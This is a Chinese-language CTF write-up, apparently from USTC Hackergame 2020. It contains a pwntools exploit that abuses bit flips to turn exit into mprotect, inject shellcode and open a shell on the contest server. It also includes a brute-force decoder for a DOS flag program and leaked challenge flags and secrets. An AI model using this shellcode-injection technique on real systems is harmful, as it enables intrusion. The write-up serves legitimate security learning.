    <p style="color:blue;">Notice: secret: cdeb06cac4 ! Please use this secret to access our proxy.(flag1: flag{d0_n0t_push_me} )</p>
    <p style="color:blue;">Notice: 我们已经向您 <strong>推送(PUSH)</strong> 了最新的 <strong>Secret</strong> ,但是你可能无法直接看到它。</p>
    <p>我们提供了一个代理服务器,用于访问科大主页( www.ustc.edu.cn )。只有拥有 <strong>secret</strong> 的人才是我们尊贵的客人,才能访问我们的服务。 </p>

宇宙射线模拟器

关键词 bit flip,搜到 https://0xabe.io/ctf/exploit/2016/04/18/PlaidCTF-butterfly.html

不搜自己也能想到,题目说“只能翻转一个”,其实可以翻转很多个。之后查询 x86 跳转指令编码的格式,那些会解引用第一个参数的函数,都不能跳过去,排除了几个错误答案,发现还是可以跳 mprotect

然后要寻找一个可以跳到的区域把 shellcode 一个 bit 一个 bit 地写进去。写成了以下脚本:

from pwn import *

token = '<contest token>'

elf = ELF('./bitflip')
#io = process('./bitflip')
io = remote('202.38.93.111', 10231)
rp = lambda: print(io.read().decode())
rp()
io.sendline(token)

# modify 'exit' to 'mprotect'
pos, ibyte = 0x401296, 5
rp()
io.sendline(hex(pos) + ' ' + str(ibyte))

# then we can edit however we like
p_shell = 0x4010f0
context.arch = 'amd64'
context.os = 'linux'
shellcode = asm(shellcraft.amd64.linux.sh())
lsh = len(shellcode)
original = elf.read(p_shell, lsh)

for i in range(lsh):
    #print(f'EDIT {i}-th byte of {lsh}')
    p_edit = p_shell + i
    x = shellcode[i] ^ original[i]
    j = 0
    while x:
        if x & 1:
            io.sendline(hex(p_edit) + ' ' + str(j))
        j += 1
        x >>= 1

# modify to shellcode @ 0x4010f0
pos, ibyte = 0x4012a8, 0

io.read()
io.sendline(hex(pos) + ' ' + str(ibyte))
io.interactive()

flag 计算机

就逆呗。IDA 选择 MS-DOS 打开,flag 生成逻辑在最后的函数,很长。

基本流程如下:

  • 时间对一个常数取模得到种子
  • 种子生成15个随机数
  • 15*15 二重循环做 int16 范围内的矩阵运算
  • 结果与一个常数数组 xor 输出

“提示1:请大家着重于最后生成打印 flag 的逻辑,忽略其他无关代码”指的是上面那些函数对于改变程序的内部状态没有什么用,是做 IO 或者单纯拖时间的。但是最后一段

mov     ax, ss
mov     es, ax

改变了 ES,导致如果直接取 33C0 那个位置的数组会不对。

Screen Shot 2020-11-04 at 23.16.59.png

开 DOSBox,用 Turbo Debugger(btw,这程序比我都大了)载入这个程序,在 rep movsd 下断点,然后在栈上读出常数数组的确切值。因为这程序实力拖时间运行很慢,可以重复按快捷键 Ctrl-F12 给模拟器加速,很快地跑完。

#include <iostream>
#include <cstdint>
#include <cstdlib>

const std::int32_t cv2920[225] = {
    20597, 19141, 29258, 17804, 29076, 28746, 24890, 28979, 26196, 31833, 26624, 24774, 18916, 29028, 24033, 22913, 23436, 25750, 26539, 21652, 31296, 22446, 16506, 21949, 22761, 30221, 29477, 29617, 16497, 23022, 23179, 30781, 23877, 29171, 31665, 26534, 32159, 22583, 27525, 28708, 31216, 17158, 31988, 32190, 23747, 21272, 21278, 24727, 29984, 25303, 23445, 23119, 23155, 26346, 26389, 30747, 28948, 31418, 21323, 31758, 30911, 18790, 21312, 25099, 22348, 25409, 29357, 22180, 23588, 28794, 18133, 25624, 21972, 23401, 24821, 31369, 25187, 31517, 19840, 28836, 20794, 20239, 24523, 30814, 24016, 17954, 21227, 16691, 30290, 23391, 20482, 24822, 31968, 30651, 27908, 22690, 30875, 31003, 31747, 19978, 25482, 18563, 30143, 27788, 26658, 26295, 23244, 27086, 26456, 24251, 28647, 22783, 27460, 19187, 23252, 24078, 19203, 26251, 18113, 19542, 24533, 16666, 24038, 32744, 28670, 30438, 26379, 18591, 30109, 26509, 20947, 27696, 22945, 27542, 32128, 25416, 21675, 19389, 27085, 29380, 20163, 21102, 30936, 30862, 18230, 21904, 16938, 16579, 20641, 27551, 22740, 24666, 16836, 23306, 27661, 26506, 28623, 29816, 20166, 29405, 23982, 30046, 19365, 24926, 19029, 32448, 17567, 17156, 18678, 28594, 19769, 28631, 25769, 31309, 24457, 30625, 21825, 29811, 17112, 31370, 25345, 24333, 24005, 31606, 30942, 21441, 30599, 22894, 18015, 19994, 27901, 26868, 21948, 27614, 23449, 21289, 19588, 19955, 28133, 16696, 31509, 26219, 19946, 27895, 28760, 28547, 28315, 16614, 26006, 17129, 24769, 24608, 17714, 17682, 18532, 17597, 29247, 28789, 27011, 29841, 32640, 17508, 27662, 23548, 29514
};
const std::uint16_t cv33C0[30] = {
    0x00DD, 0xBFB6, 0x3094, 0x99FF, 0xAC7C,
    0x63B9, 0x56A3, 0x2A9A, 0x3DDF, 0x6A1D,
    0xB289, 0xD716, 0xE29D, 0x1BA9, 0x37E4,

    0x0088, 0xBFA8, 0x30C1, 0x99EC, 0xAC36,
    0x63B0, 0x56F7, 0x2AB1, 0x3DCA, 0x6A08,
    0xB2CE, 0xD705, 0xE2F1, 0x1BF4, 0x37E9
};
/* const std::uint32_t cv33C0[15] = {
    6, 0, 40960, 13824, 0, 2170552323, 1048576, 0, 4096, 0, 1048576, 0, 4096, 0, 0
}; */
// const std::int16_t *pcv33C0 = reinterpret_cast<const std::int16_t *>(&cv33C0);

static std::int32_t /* due to imul */
    seed = 0,            // @ds:343c
    rnd_output = 1103515245,    // @ds:3404
    rnd_vector[15];
/* seed is some int % 58379 */
inline void rnd_srand(std::int32_t setSeed) {
    seed = setSeed;
}
inline std::int32_t rnd_next() {
    return (rnd_output = (seed * rnd_output) + 12345678);
}
bool cycle(std::int32_t timeSeed) {
    bool ascii = true;
    char digest[32] = {}; /* only 30 bytes */
    std::int32_t v3420[15] = {};
    /* reset */
    seed = 0; rnd_output = 1103515245;

    /* begin */
    rnd_srand(timeSeed);
    for (int i = 0; i < 15; ++ i)
        rnd_vector[i] = rnd_next();

    for (int _i = 0; _i < 15; ++ _i) {
        for (int _j = 0; _j < 15; ++ _j) {
            v3420[_i] = (v3420[_i] + (cv2920[15*_i+_j] * rnd_vector[_j]) & 0xFFFF) & 0xFFFF;
        }
    }

    for (int _n = 0; _n < 30; ++ _n) {
        // zero extend
        std::int32_t _xor = static_cast<std::uint32_t>(static_cast<std::uint16_t>(cv33C0[_n]));
        // this is safe
        digest[_n] = static_cast<char>(v3420[_n % 15] ^ _xor);
    }

    // output
    //std::cout << "Hexdump: ";
    for (int i = 0; i < 30; ++ i) {
        if ((digest[i] < 0x20) || (digest[i] >= 0x7f))
            ascii = false;
        //std::cout << std::hex << static_cast<int>(static_cast<std::uint8_t>(digest[i])) << ":";
    }
    std::cout << std::endl << "Result: ";
    for (int i = 0; i < 30; ++ i) {
        // could mess up the terminal
        std::cout << digest[i];
    }
    std::cout << std::endl;

    // judge
    //std::cout << "Is ascii? " << ascii << std::endl;
    return ascii;
}

int main() {
    for (int s = 0; s < 60000; ++ s) {
        if ((s & 0xffff) == 0)
            std::cout << s << std::endl;
        if (cycle(s)) {
            std::cout << "Seed:" << s << std::endl;
            return 1;
        }
    }
    return 0;
}

Screen Shot 2020-11-04 at 23.09.08.png

结尾碎碎念

开箱模拟器:好像有一天在 B 站推荐刷到这个问题,但是没看。本人经过缜密分析觉得可以也生成一个随机序列与其“对冲”,直觉告诉我 BF 那么几个指令是难以造出好的随机数的,正好输入就是一个随机序列。我写了一个从第 target 个位置开始往下找,将 boxes[i]-1 作为下一个位置的 python 代码,经过几次尝试,我判断这个“算法”正确率并不高,就放弃了这个想法。

加密硬盘:我的思路是从 swap 里读长度在一定范围内的字符,然后喂给 hashcat,奈何 hashcat 在我平台的效率过于低,我不得不中止破解

LDD exploit:我都搜到那篇文章了,但我交的是那个动态程序

不经意传输:搜到 wp 并找到官方 wp。第一问看懂协议并实现就能做出 flag